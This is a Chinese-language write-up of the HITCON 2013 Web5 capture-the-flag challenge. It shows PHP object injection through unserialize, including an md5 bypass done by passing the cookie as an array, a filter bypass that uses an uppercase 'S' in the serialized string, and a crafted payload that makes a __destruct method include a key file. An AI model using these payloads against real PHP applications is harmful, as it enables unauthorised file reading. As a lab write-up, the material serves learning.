HITCON2013 解題 - Web5

因為 Wargame 關了  把還記得的部分寫上來。
這題還蠻有趣的
是關於 PHP 的 object injection,主要是 unserialize 出了問題。





















http://pastebin.com/pykQL896  chall.phps 原始碼


首先,這題有三個保護
一:bypass md5
  1. $checksum = $_COOKIE['checksum'];
  2. if ( @md5($checksum) == '' ) {
這邊要輸入一個可以通過檢查的 checksum cookie
不然程式會一直跳到 FakeKey 那邊進行讀取。
查了一下 md5 函數不管輸入怎樣的字串都不會回應 '' 空值,因此是要使它出錯
利用 firefox cookie editor 插入 checksum[] =  利用塞入陣列方式讓其出錯就可以了。

二:encrypt & bypass safe function
  1. base64_decode( $auth_str );
  2.     $auth_str = mcrypt_decrypt

因此要自己進行一次 base64_encode 跟 mcrypt_encrypt
而Safe function有一些regular expression要bypass
  1.     if ( is_string( $s ) && strpos( $s, "\0" ) === false ) {
  2.         if ( strpos( $s, 'O:' ) === false ) {
  3.             return true;
  4.         } else if ( ! preg_match('/(^|;|})s:[+\-0-9]+:"/', $s ) ) {
  5.             return true;
  6.         }
由於下面產出來的 payload 最後長這樣  'O:3:"qoo":1:{S:7:"key_var";S:3:"Key";}';
由於過濾了s(字串),這邊改成大寫S就過了
然後base64的字串會出現+號,用urlencode繞過即可。

三:utilize unserialize php object injection
https://www.owasp.org/index.php/PHP_Object_Injection
查閱 OWASP 文件後,可以知道 PHP 在處理反序列化(unserialize)的時候有 bug
如果在上面有宣告物件,它在unserialize的時候會自動的執行類似
function __destruct(){
這樣的函數

我們看一下原始碼
  1.  $cookie_key  =  "◢▆▅▄▃崩╰(〒皿〒)╯潰▃▄▅▇◣";
  2.  $iv          =  "00000000";

  3. class qoo{
  4.     var $key_var = "FakeKey";
  5.     function __construct(){}
  6.  
  7.     function __destruct(){
  8.         $keyfile = $this->key_var . ".php";
  9.         $keyfile = basename( $keyfile );
  10.  
  11.         include( $keyfile );
  12.  
  13.         print $key;
  14.     }

  15. }

  1.     $auth_str = $_COOKIE['auth_str'];
  1.         unserialize( $auth_str );

如果沒有第二步的檢查,一般的 object 注入方法是
建構一個跟上面一樣的 class qoo,加入要覆蓋的 key_var,然後將這個 class serialize 序列化
<?php
class qoo{
    var $key_var = "Key";
}

$class = new qoo();
$class_ser = serialize($class);
print_r($class_ser);
?>

將 payload $class_ser   'o:3:"qoo":1:{s:7:"key_var";s:3:"Key";}';  unserialize
就會觸發 qoo 的 __destruct
同時會覆蓋區域變數 key_var,這樣就可以讀到 Key.php 了。

沒有留言:

張貼留言